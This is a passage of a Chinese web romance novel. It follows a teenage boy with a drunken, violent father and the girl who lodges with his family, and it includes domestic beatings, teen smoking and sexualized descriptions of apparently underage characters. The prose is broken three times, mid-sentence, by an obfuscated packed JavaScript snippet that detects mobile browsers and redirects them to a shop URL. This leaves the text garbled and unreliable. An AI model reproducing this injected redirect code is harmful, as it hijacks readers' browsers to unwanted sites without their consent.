“余夏,老子告诉你,以后别来烦我!”谢劲舟狠狠道,“你再打一通电话试试!”说完,毫不留情地挂掉电话。 他身边从不缺女人,莺莺燕燕无数,谁见了他都想往他身上贴。 来来去去了多少,他已记不清,很多连名字、长相都忘了,雁过无痕。 谁都走不进他的心。 * 洗完澡,回到房间,谢劲舟小心翼翼地关上门,拿着毛巾擦着湿漉漉的头发,额前的水珠滴落在他裸露的胸膛上,一路蜿蜒而下,没入紧实的小腹。 十几平米的房间里,摆着两张单人床,谢林乔的靠窗边,他的靠门,靠墙的地方摆着衣橱,床对面放了两张写字桌,再摆不下其他大件。 也不怪谢林乔不善待驰路,她很爱她的哥哥,但现在有人霸占了她哥哥的房间,她不乐意。 谢劲舟走到两张床中间,看着蚊帐中睡着的谢林乔,开着风扇,没盖被子。 他掀开蚊帐,把一条薄被子搭在她的肚子上。 他想走,谢林乔转了个身,紧紧地抓住他的胳膊,把脑袋枕在他的胳膊上。 看到这样的谢林乔,谢劲舟心里像被无数虫子抓挠着难受。 老妈在世时,谢林乔就爱这样枕着她的胳膊睡觉。 老妈离世后,谢林乔无数夜里都哭着醒来喊“妈妈”,可她再找不到妈妈了,就抱着枕头去找谢劲舟。 谢劲舟一开始纵容她,等她越长越大,觉得自己不能再跟她同一张床,得分开睡。 道理一天天地给她灌输,谢林乔次次嘴上答应,但依然想跟谢劲舟一起睡。 谢劲舟不依她,死活让她回自己房间。 那次,谢林乔抱着枕头,哭着鼻子骂谢劲舟“坏哥哥”“坏哥哥不爱我了,我也不爱坏哥哥了!”。 人总要学会长大,他的纵容,不能让种子发芽,也不能让花骨朵绽放。 他得放手,让她学会一点点长大。 后来,谢林乔渐渐习惯了一个人睡。 这次,虽然谢林乔讨厌有人霸占了哥哥的房间,但能跟哥哥在同一个房间,给她带来莫大的心安,好像又让她回到了小时候,她的哥哥一直在身边,一直在守护着她。 谢劲舟等谢林乔睡安稳了,才抽开自己的胳膊。 他躺到床上,一阵困乏袭来,很快沉入梦乡。 半睡半醒间,他似乎感觉到有人从他身后搂住他的腰,贴着他的后背,轻轻说着:“奶奶,我没有家了,但有人愿意收留我,他叫谢劲舟。他好像没有那么坏。” 谢劲舟身体僵了下,好一会儿才想要拨开环在他腰间的手,但怎么也没拨开。 这人的劲儿还挺大。 贴着他的身体温软,每一处都散发出玫瑰花香,一阵阵扑进他的世界。 谢劲舟睁眼,侧头去看,借着照进来的些许月光,看到了一张漂亮绝伦的脸,睫毛又浓又长,在眼睑下方映下一排阴影,小扇子般。嘴巴丰满,唇线分明,中间有一颗很好看的唇珠。 她安静时的模样,少了傲然、妩媚,宛若降临人间的白色蝴蝶,翩跹而至,洁白无瑕。 感受到腰间的手松了,谢劲舟才得以转身,他望着她,把她落在脸上的头发轻轻地往后撩了下,轻声喊她:“阿驰。” 怀里的人把他抱紧了,脑袋埋在他紧实的胸前。 这是第几次了,她走进这间房,爬到他床上抱他了? * 谢劲舟就这么安静地看着驰路,感受到她的体温,灼热的,似要将他坚硬的胸膛灼穿。 他的身体腾起一阵阵燥热,热得他口干舌燥,凸起的喉结上下滚动了好几下。 夜晚格外寂静,他听到了自己猛烈的心跳声,一下一下撞击胸腔。 过了几分钟,驰路没有任何举动,也不说话了,谢劲舟才下床,把她拦腰抱起,轻手轻脚地抱她回房,帮她盖好薄被。 刚想走,手腕被她一把抓住,吓得他猛然怔住。 她醒了? 之前几次,可从来没醒过。 驰路皱着眉,声音发哑:“不要抛下我,我会很乖的。” 谢劲舟感到心像被人重重击打了下,生出一阵钝痛。 她没醒,在说梦话。 他弯腰轻轻地抚平她眉间的每根褶皱,看到她舒展的眉眼,轻声说:“阿驰,舟哥不会抛下你。” * 不到七点,驰路便醒了,洗漱完,开始做暑假作业,把做错的题,一一拍照,等做完一遍,对着拍照的题再做一遍,做到会了为止。 直到肚子咕咕叫,她才站起身,一看时间,八点四十。 先填饱肚子再战。 她刚站起来,伸了个懒腰,忽然听到楼下响起叫骂声,立马跑到阳台上去看。 楼下正上演着家庭伦理大戏,她是楼上看戏的人。 谢鸿运手里拎着个酒瓶,走路走得摇摇晃晃:“谢劲舟,老子用得着你管吗?” 即使在楼上,驰路还是闻到了随风飘散开的浓重酒气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560727|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢劲舟从他手里夺了酒瓶,一把狠狠地摔到地上,厉声道:“让你喝,你喝啊!” 谢鸿运抬手就朝谢劲舟挥拳,挥出去的是醉拳,被谢劲舟狠命拽住,用力将人往后一推,推得谢鸿运踉跄地退后几步,差点摔倒。 这时,谢奶奶走了出来,拦住谢劲舟:“小谢,你听奶奶的话,别跟老谢一般见识。” “你敢推老子,看老子今天不打死你!”谢鸿运从裤腰上抽出腰带,绕过谢奶奶用力往谢劲舟背上狠狠甩去,传来打在身体上的闷响。 驰路心下一跳,做不了看戏的人了,连忙蹬蹬蹬下了楼。 她刚跑下去,看到倚靠在门边的谢林乔,她的身体紧紧绷着,手里拿着弹弓,用一双愤怒的眼睛望着谢鸿运,用力地拉开弹弓,精准地将一块小石子狠狠击中谢鸿运。 谢鸿运疼得直咧嘴,怒目圆瞪地看着使坏的谢林乔,拿着腰带就要去打谢林乔:“小兔崽子,你竟然也敢打你老子了!” 驰路看到谢劲舟从谢鸿运手里夺过腰带,狠狠地扔远了,朝他的肚子用力踹了一脚,直接把人给踹地上。 谢鸿运捂着肚子嗷嗷叫,边叫边大喊:“快来看啊,这儿有孽子要杀人了!” 他家的房子跟其他人家的都不一样,没有围墙,门前就是路,邻居,路过的,纷纷凑过来看这场伦理大戏。 没人上前帮忙,有的是拍照的、录像的、窃窃私语的。 “这家人哪像过日子的啊,父子俩经常打架。” “就是啊,你看到他老子那坡了的腿吗,就是他儿子之前给打断的。” “这么狠?” “还有更狠的,他/妈就是被他爸给杀死的。” “杀死的?杀死的怎么没被抓去枪毙?” “谁知道啊。这父子俩都不是什么好东西,离这家人远点。” …… 一句句都传到了驰路的耳朵里,她听得心里一沉。 她朝谢劲舟看去,看到他黑色背心上印着几道粗粗的痕迹,肩膀上有几道深深的红痕。 谢奶奶走到谢鸿运身边,要把他拉起来,他却像个老赖似的,躺在地上不起来,嘴里喋喋不休地骂着,什么话难听就骂什么,活脱脱一耍酒疯界的翘楚。 谢奶奶看着谢鸿运,无奈地蹲到地上抹眼泪。 这就是谢劲舟的家? 驰路看得眼睛有些刺痛。 谢劲舟拎着谢鸿运的后衣领,把叫嚷着的他往屋里拖。 谢鸿运像块破烂抹布似的,被他拖拽着,他嘴里一刻没停地骂着:“你这个孽子,快松开老子!再不松开,看我以后不打死你!老子怎么就生了你这么个混账玩意儿,早知道就把你掐死!” 他的双腿挣扎着,手也没停着,用力打谢劲舟的腿。 驰路走到吃瓜群众面前,一挥手朝他们说:“大家都别看了,走吧。” 都说家丑不外扬,谢劲舟的家丑大概要传遍大街小巷了吧。 门前没热闹了,吃瓜群众也就纷纷散去。 走来一位秃头大叔,用色眯眯的眼睛看着驰路:“小姑娘,你看你住的什么人家啊,要不要住叔叔家啊?” 神情猥琐至极,看得驰路犯恶心,朝他递过去一记冷眼:“滚开!” 驰路望着这个只刷着大白的二层小楼,不禁笑了,就算这儿再破,也是谢劲舟的家,他说了“你住我谢家一天,就是我谢家的人。” 她不会走的,她要赖在这里。 11. 谢大佬开怼小蝴蝶 「原来,被命运碾压的,不只我一个。 我多希望,那个人不是你。」 ——《小蝴蝶的暗夜》 门前撒了一地的酒瓶碎片,驰路拿来扫帚一块一块地扫进簸箕。 谢奶奶想从她手里拿过扫帚:“阿驰,奶奶来扫。” 驰路没让,看着谢奶奶:“奶奶,阿驰扫,您去坐会儿吧。” 谢奶奶的眼睛红了一圈,笑着跟驰路说:“阿驰,让你看笑话了。” “没事的,奶奶。”驰路望着谢奶奶眼角密布的皱纹,心头泛酸,“哪家不吵架呢。” 驰路听到谢鸿运房间里传来重重的闷响,手中动作一顿,又听到谢鸿运的骂声:“谢劲舟,你就是这样对你老子的?去给老子拿瓶酒来!” 接着是重重的摔门声、锁门声。 谢劲舟这是把他老子锁里面了。 谢林乔还靠着门,面无表情地望着这一切,眼神冷漠得不像话,她从口袋里掏出一堆小石子,正数着。 上次她就是用小石子打她的吧?提前把她当靶子打? 小小年纪,打起人来真是毫不含糊。 驰路扫完碎片,倒进垃圾桶里,听到谢劲舟正跟谢林乔说:“小乔,你别学哥,打人是不对的,谢鸿运以后再闹,哥哥来教训他。” “哥哥,我不允许任何人欺负你。”谢林乔一字一句地说,“谢鸿运也不可以!” “小乔,哥哥之前教你学弹弓,是让你保护自己用的,不能乱伤人。”谢劲舟揉了揉谢林乔的脑袋,从她手里抓过那些小石子,放到她的口袋里,“你别担心哥哥,哥哥长大了,会保护自己了。谁欺负哥哥,哥哥会欺负回去,知道吗?” 谢林乔点了点头,转到谢劲舟身后,摸着他后背上泛红的印子:“哥哥,疼不疼?” “不疼。”谢劲舟摇了摇头。 被谢鸿运那么大力地抽了他三皮鞭,怎么可能不疼。 驰路放好笤帚,走到谢劲舟身后:“你来下。” 说完她往楼上走。 谢奶奶喊谢林乔:“小乔,来帮奶奶穿下针。” 谢林乔跟谢劲舟说:“哥哥,我先去帮奶奶穿针,你记得抹药。” “好。”谢劲舟说,“去吧。” 谢劲舟上了楼,驰路房间的门开着,他还是礼貌地敲了敲门。 “进来。” 谢劲舟推门而入。 驰路正站在书桌前,把椅子拉开,示意他坐下。 谢劲舟没坐下来,吊儿郎当地靠在书桌前,挑眉:“要给老子处理伤口?” 驰路拿起昨晚谢劲舟放这儿消毒水和棉签:“我不想欠你人情。” 谢劲舟眯了眯眼:“所以,你报恩来了?” “你想怎么认为都可以。”驰路说,“把衣服脱了。” 谢劲舟依然站着没动,垂眸看着驰路:“老子的伤从来不用处理!” 他转身就要走,被驰路抢先一步走到他身前,抬手拦住:“你不处理伤那是以前,从现在开始,你要习惯好好地对待伤口,这样才能快些愈合。” 每个字都说得铿锵。 她的眼底涌动着光亮,宛若朝阳跃出海面的瞬间,闪亮耀眼。 谢劲舟沉默了会儿,冷声说:“如果我偏不呢?” “谢劲舟,你的身体不只是你的,还是谢奶奶的、谢林乔的!”驰路直直地望着他的眼睛,“你也得为她们想想吧。” 谢劲舟的眉头一皱,脱掉背心,坐下来。 驰路看到他后背时,顿时怔住,手里的棉签从手心滑落,掉落地上。 他后背除了三道新鲜的红色伤痕,还遍布纵横交错的伤疤。 他曾经遭受过怎样的伤害?才会留下这么多的伤痕? 她抬起颤颤巍巍的手,想要去碰触那些早就愈合的伤口,但迟迟没有落下,嗓子有些发紧地问:“这些伤都是叔叔打的吗?” 谢劲舟神色未变:“有些是,有些不是。” 驰路重新拿了根棉签,蘸上消毒水,给他那三道红色伤痕消毒,心里不是滋味。 他宽肩窄腰,每一块肌肉都恰到好处地微微隆起,散发出少年蓬勃的生机。 可就是这具紧实性感的身体,却遍布伤痕。 这是她见过的,最性感、最狂野、也最残破的身体。 她帮他抹药时,他冷静道:“除了小乔,你是第一个看到我伤痕的人。” 驰路边抹边说:“所以,你希望我帮你保守秘密?” 抹药时,碰触到他之前的伤疤,每一道伤疤都那么扎手,如同荆棘般,死死地缠在他身上。 谢劲舟转头看她,她看到了他眼睛里的一抹冷笑,听到他说:“你愿意吗?” 混道上的,素来讲究面子,要是让别人知道,他在家被老爸打得遍体鳞伤,他还怎么在道上混? 这样的道理,驰路懂,她点了点头,把药放桌上,看谢劲舟,垂眸间,瞥到他胸前的腹肌,腹肌上也是一道道的伤疤。 她难以置信地一一掠过他的上身,跟后背一样,伤痕遍布,一片狼藉。 “谢劲舟。”驰路眸子暗下去,烟嗓很沉,“保守秘密算什么,我以后保护你!” 一直绷着脸的谢劲舟忽然笑了:“你保护我?” 他从口袋里拿出一盒烟,抽出一根,点燃抽了几口,站起来跟驰路说:“驰路,你别给老子添麻烦就不错了。” 驰路伸手,谢劲舟知道她也要烟,没搭理她。 驰路想去拿烟盒,被谢劲舟按住手:“女生少抽点。” “谁规定女生要少抽的!”驰路拉开抽屉,拿出一根烟,凑到谢劲舟身前,想对准他叼在嘴里的烟过火。 结果,还没碰到谢劲舟的烟,嘴里的烟便被谢劲舟夺走,在手心里狠狠碾碎。 这还没完,他直接把她抽屉的烟给没收了。 “……”驰路去抢他没收的烟。 谢劲舟一把将她的双手捏住,反剪在她身后,让她动弹不得,眼眸冷下去:“怎么这么不听话!” 教训人的口吻,像极了教训孩子。 他这是把她当小乔了吧! 真正的小乔正透过没关严实的门缝瞧着门里发生的一切。 * 日落时分,驰路下楼收衣服,手里抱了一堆,最上面的一条短裤滑了下来,刚想弯腰去捡,却有人提前捡起来放上去。 她朝来人看去,是谢林乔,她的眼睛里没有起初的厌恶,但也仅此而已,冷静得不像她那个年纪的孩子。 “谢谢小乔。”驰路笑着跟谢林乔,同处一个屋檐下,她想跟这个冷漠的女孩拉近距离。 谢林乔没说话,一邻居家的小男孩喊她去玩,她便跟了过去。 谢奶奶正在给菜园里的菜浇水,从她的角度望去,她的背更佝偻了。 谢奶奶朝谢林乔喊道:“小乔,记得六点半回来吃饭。” 谢林乔回头说:“好的,奶奶。” 天边遍布橘色晚霞,笼着一枚金灿灿的落日,染红天际,绚丽多彩。 这里跟蓝城不一样,那儿到处是高楼,落日常常隐在大楼后面,她看不见。 这里是小了点、旧了点、脏了点,但这里的一切都更接近自然态,让她好像回归到跟奶奶一起住的日子,那些不算富裕却足够温情的日子。 驰路把衣服送到二楼,听到楼下响起车喇叭声,有人问:“驰路住这里吗?” 谁找她? 驰路走到阳台,看到一辆货车,货车上有品牌名。 她想起来了,昨天上街去逛了下电器专卖店,买了空调、洗衣机,今天来上门安装。 驰路在楼上说:“是住这里。” 谢奶奶拔了几棵青菜,从菜园里走出来,上前去问:“你们找驰路做什么。” 两人说明来意后,谢奶奶见到驰路说:“阿驰啊,家里有电风扇、洗衣机,你买这些做什么啊!” 她知道老人家心疼钱,跟谢奶奶说:“奶奶,等我屋里装了空调,您可以来我屋里乘凉,就不要大晚上的搬着板凳在院子里乘凉了,还要被蚊子咬。” “哎。”谢奶奶叹口气,“浪费钱啊你。” 就在这时,开来一辆红色的电动三轮车,司机是罗子昂,三轮车上放着一个高高的大纸箱,纸箱后面坐着一个塞着耳机的痞帅少年。 谢劲舟那一头雾霾蓝的头发在落日下泛出熠熠光泽,右侧短茬上的一道“X”格外嚣张,右耳耳骨上的黑色耳桥明目张胆地闪着光,字母文身嚣张地盘踞在他的右脖颈处。 他这社会哥的打扮,一般人驾驭不了,但他不同,他长相痞帅,皮肤冷白,浑身透出的气场跟这儿的环境格格不入,像从漫画里走出来的二次元少年。 明明坐在一辆乡土气息极其浓厚的三轮车上,却坐出了一种在顶级豪车上的气质。 他就是有这样的气场,在人群中那么耀眼。 “我艹,舟爷,这些不会也是你买的吧?”罗子昂把三轮车开进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560728|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着从货车上搬下来的空调、洗衣机,看了看牌子,疑惑道,“舟爷,这空调刚才我们不是看过吗,一万多,你不还说先再赚点钱再买的吗,怎么有钱买了?不对啊,怎么又买洗衣机了?” 谢劲舟拍了下罗子昂的后脑勺:“你能不能动点脑子?” 驰路看到了三轮车上的洗衣机,立刻明白了,看向谢劲舟:“我昨天定好了,你的这个退了吧。” 谢劲舟脸一黑:“用得着买这么贵的?” 谢劲舟看到了空调和洗衣机的牌子,他今天跟罗子昂把芳町镇的电器店逛了一圈,看过驰路选的这个,都上万,而他货比三家,最后选的洗衣机性价比很高,小几千,几乎花了他一个月的打工费。 “又不花你的钱,我用我的钱不行吗?” “你的钱?”谢劲舟嗤笑,“你家人的钱吧?” 是,是她家人的钱没错,但她家人的钱给她用不是天经地义的吗?她扬起下巴,像只骄傲的孔雀:“是我家人的又怎样?” “你能不能清醒点?” “我怎么不清醒了?” “都不是大小姐了,就别一身公主病!” “……”驰路气得不想理他,她妈卖了家里的大别墅,卖了几百万,她花这点钱算什么? 驰路招呼着安装师傅往楼里走。 谢劲舟想追过去,罗子昂喊住他:“舟爷,你就别管了,人有钱买怎么了,你刚才说的话有点重了。” 谢劲舟停住,看了看三轮车上的洗衣机,跟罗子昂说:“你去帮我把洗衣机退了。” 驰路把安装师傅带到二楼,给谢劲舟发了条微信:一楼交给你,谢了。 谢劲舟没回,她便下了楼,快走到楼下,听到楼下有人在说:“你小子不是没钱的吗,没钱你从哪儿来的钱买洗衣机的?”是谢鸿运的声音。 驰路站着没动。 “我有钱怎么了?” “有钱啊,就给老子拿出来!”气势汹汹的声音。 “谢鸿运,我早就跟你说过,你休想从我这里拿到一分钱!”谢劲舟的声音里透出狠厉。 “你让我不拿我就不拿吗?”驰路听到了衣服摩擦的声音,她往下走了几个台阶,走到楼梯口,看到谢鸿运的手正伸向谢劲舟的裤兜,被谢劲舟一把拽住手腕,死命拽住,用力往后一推,“谢鸿运,你那么爱赌,就自己去赚钱啊!拿我的钱算什么本事!” 谢鸿运见从谢劲舟这儿讨不到好,瞥见了他身后的驰路,往她那儿走,笑得龇牙咧嘴。 他其实长得并不难看,但穿着邋遢,酒气冲天,胡子拉碴,实在有些不堪入目。 驰路没躲,依旧礼貌地叫他“叔叔”。 谢鸿运见驰路脾气好,又有钱买那么贵的电器,起了坏心,笑着跟驰路说:“驰路啊,叔叔最近手头有些紧,能不能借点钱给叔叔?” 驰路知道钱不能借给好赌之人,但这人怎么说也是谢劲舟的爸爸,她刚说“好”,只见谢劲舟走到她身旁,怒道:“谢鸿运,你还有脸问别人借钱!”又看向驰路:“别借他一分钱!” “谢劲舟,老子没跟你说话,你插什么嘴,滚一边去!”谢鸿运没有退缩,继续跟驰路打感情牌,“你看,我跟你妈妈是多年的好友了,我也愿意让你住我家,你就没点表示吗?伙食费总要给吧。” “谢鸿运,你还要不要脸。”谢劲舟说,“芳町三中……”话到嘴边又咽了回去。 谢鸿运压根儿不搭理谢劲舟,还看着驰路,眼里露出期待。 “等我下。”驰路蹬蹬蹬上了楼。 下楼后,她给谢鸿运现金:“一个月的伙食费,够不够?” 谢鸿运想接过钱,却被谢劲舟都拿过去:“谢鸿运,你别得寸进尺!” 谢鸿运气道:“把钱给老子!” “谢劲舟,给叔叔吧,伙食费还是要给的。”驰路看着谢劲舟,“我不喜欢欠人人情。” 谢劲舟咬着后槽牙,把钱甩给谢鸿运,红票子洒了一地。 谢鸿运弯腰,一张一张捡起来,一共三十张,够他好好玩几天了,他要把赌输的都赢回来。 是因为他爸杀了他妈,所以,他们的关系才变得如此恶劣吗?还是,他厌恶他爸赌博? 她老妈知道自己把她送到了一个什么家庭吗? 在蓝城时,她跟她妈被欠债的追,卖了别墅各自躲着那些追债的,她租房子住,三个月就换了六次,日子过得飘摇。 现在待的这个地方,就不摇摇欲坠吗? 12. 不经意互撩 「没仔细看过蝴蝶飞起来的样子,想了想,破茧成蝶的瞬间,应该跟你说的一样,会很美。」 ——《孤舟难行》 待在装好空调的房间里,没了电风扇吹出的热风,冷风阵阵从吹风口吹出来,整个房间里充满凉意。 这才是学习和睡觉的好环境,不是吗? 可驰路却没有因此而开心。 她走到书桌前,翻开谢劲舟给她的英语暑假作业,一字没写,她深呼吸了一口,让自己静下心来,开始做题。 刚写到一半,有人敲门,她问:“谁啊?” “我。”声音很低,穿透门板,清冽好听。 “进来。”驰路转头朝门的方向看去。 “我来拿衣服。”谢劲舟走到衣橱前,拿了几件衣服后便走了。 驰路看了看他的衣橱,又看了看自己买的那个简易衣橱。 他怎么想的,弄个简易衣橱放谢林乔的房间多好,这样就不嫌麻烦? 刚写了几分钟,外面传来敲敲打打的声音,弄得她无心写作业。 她开门出去,看到卫生间的门开着,谢劲舟正在敲水池,穿着件黑色背心,露出结实的臂膀,肩膀上冒出汗珠,白日里的伤口已经变成青紫的淤痕。 他听到脚步声,转头去看驰路:“你来帮忙?” 驰路靠到门边,笑着看他:“不是舍不得换的吗?” 她看到他额头上的汗珠,顺着脸颊滑落,滚落到他凸起的喉结上,格外性感。 谢劲舟一把将她拽了过来:“过来帮忙!” “这儿这么小,怎么帮?” “把楼下的新水池给老子搬上来。” “……”他哪只眼看出来她搬得动水池?! 驰路当然没去搬水池,待在谢劲舟旁边,看着他拆掉旧水池,去楼下搬来新水池安装上,一番操作下来,他已满头大汗,撩起衣摆擦汗,露出垒块分明的八块腹肌,再往下是清晰的人鱼线,蜿蜒至裤腰处。 啧,这就是传说中的男/色/诱/惑? 驰路的视线落在他伤痕错落的腹肌上,光明正大地盯了几秒,便迎来了谢劲舟冷冽的目光,语气里有几分得意:“老子知道我身材好,但你至于要看这么久?” 被他发现后,驰路的心一慌,却表现得淡定:“白给的,为什么不看。” 现实中出现了这么像从二次元里走出来的少年,不看是傻子! 谢劲舟装上新的水龙头,侧头看驰路:“不会动一下?” “你想让我怎么动?” “帮我扇风!” “……”真把自己当大爷了!行吧,谁让他劳心劳力地换水池的。 驰路去房间里拿了把扇子,给谢劲舟扇风:“多少钱?” “这你家还是我家?”谢劲舟把拆下来的旧水龙头扔到外面,又进去拆淋浴的水龙头。 如果不是因为她,是不是就不会换了? 她望着他,有片刻的出神,他的侧脸轮廓坚毅冷峻,一缕蓝发长得覆在眉眼上,鼻梁高挺,下颚线锋利,左边嘴唇下方有一颗小小的痣。 鼻梁上的汗珠,一点点滑落,掉落在他薄薄的嘴唇上,浸着他的唇,像抹了一层晶莹的水光,无声无息中勾人。 一切都放慢,宛若电影里的慢镜头。 他是电影里的主角,哪怕是特写镜头,也有着惊为天人的冷痞帅气。 驰路慢慢悠悠地给他扇着风,生怕把这些汗珠扇得四分五裂。 “你不是说了我是谢家的人。”驰路的狐狸眼往上挑起,“既然是谢家的人,不应该分担吗?” “等你赚到钱再说!”谢劲舟拿上新的水龙头,想要去装时,驰路叫住他:“等下。” “干吗?”谢劲舟弯着腰,对上她的视线,她的眼里含着一抹笑,既妩媚又清纯,将两种风格演绎得不分伯仲。 驰路把他那一缕掉下来的头发用夹子夹住:“这样就掉不下来了。” 谢劲舟的面色一沉,声音冷得像浸了冰:“拿掉!” 驰路看着戴发卡的谢劲舟,忍笑道:“方便干活,不好吗?” 谢劲舟盯向她红润饱满的唇,伸手,用拇指抚上她的唇,用力一抹,玩味道:“驰路,我们靠这么近,方便接吻,要不要试试?” 驰路的身体迅速往后一仰,把他头发上的发卡一拔,转身愤然离去。 这是什么人!好好干活不好吗?非要动手? 她关了房间门,背靠着门,把扇子朝地上一扔,下嘴唇上的粗粝感还在,渐渐烧上一片火,烧得她的嘴巴、脸颊一阵阵发烫。 她抬手抚上嘴唇,烫烫的,心脏也毫无节奏地乱跳。 等心脏平息后,她拿出手机想给这个浑蛋转钱,想了想,还是算了,转什么转!难道他们就不用吗! * 驰路坐到桌前继续写英语作业,但一个个字母从眼前掠过,为什么平时那么熟悉的单词,此时组合在一起,她竟不知道是什么意思? 她无心写作业,开始摆弄她的那些宝贝首饰。 来这里的几天,她一次都没有戴过,该宠幸宠幸它们了。 她换了个发型,换了件上衣,拿出蝴蝶耳环、黑色颈链、蝴蝶腰链,一一戴上。 刚在戴腰链时,听到门口传来男声:“安装好了。” 驰路吓得赶紧系上腰链,朝门口说:“知道了。” “驰路,我可以进来吗?” 驰路看了看落地镜里的自己,自己这副模样显然很不适合见人,她不想让谢劲舟看到这样的自己。 但她还没说“不可以”,门就开了。 他哪里是征求别人的建议,根本就是象征性地问下。 谢劲舟边开门边说:“我进来凉快下。” 他刚想撩起衣服擦汗,手只搭在衣摆上便停住了,眼睛直直地望着驰路,愣怔住。 眼前的驰路不再扎着马尾辫,而是竖着中分,扎了两条麻花辫,长度及肩,显得俏皮又可爱,耳朵上戴着蝴蝶耳环,脖子上戴着黑色颈链。 颈链中间吊着一枚银色蝴蝶,蝴蝶下方有两道银色长流苏,中间的蝴蝶链接着左侧的一枚银色小蝴蝶,小蝴蝶恰好缀在她精致的锁骨上,安静栖息着,被灯光折射出闪耀的光。 她换了件黑色紧身短款吊带,勾勒出她妖娆玲珑的曲线,盈盈可握的腰间挂着一条银色蝴蝶腰链,双层的,上面一层有三只蝴蝶,下面一层有三个十字架,每只蝴蝶上都镶着小钻,熠熠发光。 下身穿了条紧身破洞牛仔超短裤,露出她笔直白皙的大长腿,脚上没穿鞋,露出涂着酒红色指甲油的好看指甲。 这跟平时的驰路很不一样,平时的驰路好看是好看,但没有现在耀眼。 现在的她,又清纯又欲,从头顶到脚趾缝,浑身上下每一处都散发出蛊惑人的气息,狐狸眼往上挑着,似能把人的魂魄勾去。 驰路也怔怔地望着谢劲舟,等反应过来,狐狸眼往下一压,冷着烟嗓:“看够了吗?可以出去了吗?” “你以为老子在看你?”谢劲舟走到桌前,把椅子一拉,二话不说坐了上去,还翘起了二郎腿,一副冷痞的模样,声音低沉,“老子在吹冷风。” 吹冷风?吹冷风的话,你的眼睛为什么像扫描仪似的,把我全身上下都扫描了遍? 驰路看他满头大汗的样子,看来是热坏了。 这家里唯一能让人凉快的地方就是她的房间了,她现在能不人道地把这个好心给换水池、水龙头的人赶出去? 也不是不可以,她拉起他的胳膊,就要往下拽,结果像拽着磐石,他纹丝不动,倒是把椅子给拽了过来。 他翘起的二郎腿,膝盖正好抵到了她露出来的腰间。 转动椅还在转着,他的膝盖就在她的腰间来回磨着,磨着她那白皙细嫩的肌肤,磨得她有些痒。 驰路不得不松开他,往后一退,见他正用痞坏的眼神望着她。 她知道这人是打定主意不想走了。 驰路绕到他身后,想解开腰间的腰链,听到身后的人说:“你穿成这样,是想要勾/引我?” “……”驰路的手一顿,站到谢劲舟面前,嗤笑道,“谢劲舟,你不会以为是个女的就会喜欢你?” 谢劲舟挑了挑眉,戏谑道:“难道你没有?” 驰路发狠道:“谁要是喜欢你,谁就是狗!” 谢劲舟冷漠的眼底闪现出笑意。 他站了起来,俯身帮她把颈链摆正,指腹划过她修长细腻的脖颈,凑到她耳边,近得快要贴近她的耳骨:“你这样,挺勾人。” 他的声音很沉、很有磁性,气息热热地洒在她耳际。 驰路站着没动,任由他帮自己摆弄颈链。 她能感受他指腹的每条纹路,粗粝的,热热的,还裹着薄薄的汗。 “你很喜欢蝴蝶?”谢劲舟摸着中间的那颗蝴蝶吊坠。 “嗯。” “为什么?” “破茧成蝶。”驰路看着桌上摆放着的其他蝴蝶饰品,拿出来一枚蝴蝶耳挂,“蝴蝶飞起来的样子最美,知道为什么吗?” “你说。” “因为它是自由的。”驰路把蝴蝶耳挂对着灯光照,看着它绚丽多彩的翅膀。 谢劲舟走之前在桌上放了些红票子:“伙食费不用给,现在的不用,以后的也不用!” “我不要,你拿走。”驰路不明白他为什么要这么固执,想把钱拿回去给他。 谢劲舟用拇指按压住,看着驰路:“我谢家差你一口吃的吗。” 见他态度格外坚决,驰路也就没跟他继续争下去。 等他走后,驰路数了下,不多不少,一共三十张。 * 洗澡时,驰路拿水龙头冲洗着身上的泡泡,脑中浮现谢劲舟换水龙头的画面,又想起他从上到下打量她时的情形。 她甩了甩脑袋,连同脑中的谢劲舟也被甩走。 回屋后,她写完了英语作业,看了看时间,已经十点半。 她听到寂静的空气里响起摩托车的声音,走到阳台,她拿出打火机,啪嗒一声打开,火焰被晚风吹灭,她抬手护住,点燃了一根烟。 垂眸间,看到楼下有人从暗色中走来,正推着一辆深蓝色的重型摩托车,他戴着头盔,但从身形来看,一眼便看出是谢劲舟。 他似乎看到了有人在注视自己,拿掉头盔,单手拿着,在院子中央停住,仰头朝二楼望去。 驰路正吐着烟圈,一圈圈的雾气散开,将她笼在一片朦胧之中。 月色照在她裸露的肩头、精致的锁骨上,让她整个人似乎都在发光。 她挥散掉那些烟雾,他看清她的脸,她正勾着那双令人销魂的狐狸眼看他。 谁都没说话,都看着彼此,时光静默,却像有一股洪流在两人间奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560729|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾,又像有一股若有似无的暧昧气息在肆意流淌。 他推着摩托车,踏着月光,一步步往前走,像踩碎了一地星光。 走了几步,谢劲舟停下来,朝指间夹着烟的驰路说:“你知道你现在像什么吗?” 